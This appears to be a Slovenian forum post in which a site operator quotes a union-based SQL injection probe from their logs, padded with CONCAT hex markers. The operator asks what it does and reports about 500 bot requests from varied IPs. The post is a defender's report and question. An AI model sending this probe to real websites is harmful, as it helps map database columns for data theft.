Evo še ena uganka, kaj točno doseže iz CONCAT()
450 and 1=2 union select
CONCAT(0x27,0x7c,0x5f,0x7c),CONCAT(0x27,0x7c,0x5f,0x7c),CONCAT(0x27,0x7c,0x5f,0x7c),CONCAT(0x27,0x7c,0x5f,0x7c),CONCAT(0x27,0x7c,0x5f,0x7c),CONCAT(0x27,0x7c,0x5f,0x7c),CONCAT(0x27,0x7c,0x5f,0x7c),CONCAT(0x27,0x7c,0x5f,0x7c),CONCAT(0x27,0x7c,0x5f,0x7c),CONCAT(0x27,0x7c,0x5f,0x7c),CONCAT(0x27,0x7c,0x5f,0x7c),CONCAT(0x27,0x7c,0x5f,0x7c),CONCAT(0x27,0x7c,0x5f,0x7c),CONCAT(0x27,0x7c,0x5f,0x7c),CONCAT(0x27,0x7c,0x5f,0x7c),CONCAT(0x27,0x7c,0x5f,0x7c),CONCAT(0x27,0x7c,0x5f,0x7c),CONCAT(0x27,0x7c,0x5f,0x7c),CONCAT(0x27,0x7c,0x5f,0x7c),CONCAT(0x27,0x7c,0x5f,0x7c),CONCAT(0x27,0x7c,0x5f,0x7c),CONCAT(0x27,0x7c,0x5f,0x7c),CONCAT(0x27,0x7c,0x5f,0x7c)
/*
Gre nekako za SQL injection samo mi ni jasno zakaj z znaki |_| ?
Skratka pojavlja se neko bot omrežje ki pošilja take querye, še kdo opazil? Namreč en page je dobil ob 5.00 -> 5.03 cca. 500 zahtevkov tega querya. Seveda vsak request je drugačen ip. Spet kak mali nadebudnež ...
HTTPUSERAGENT: ati2qs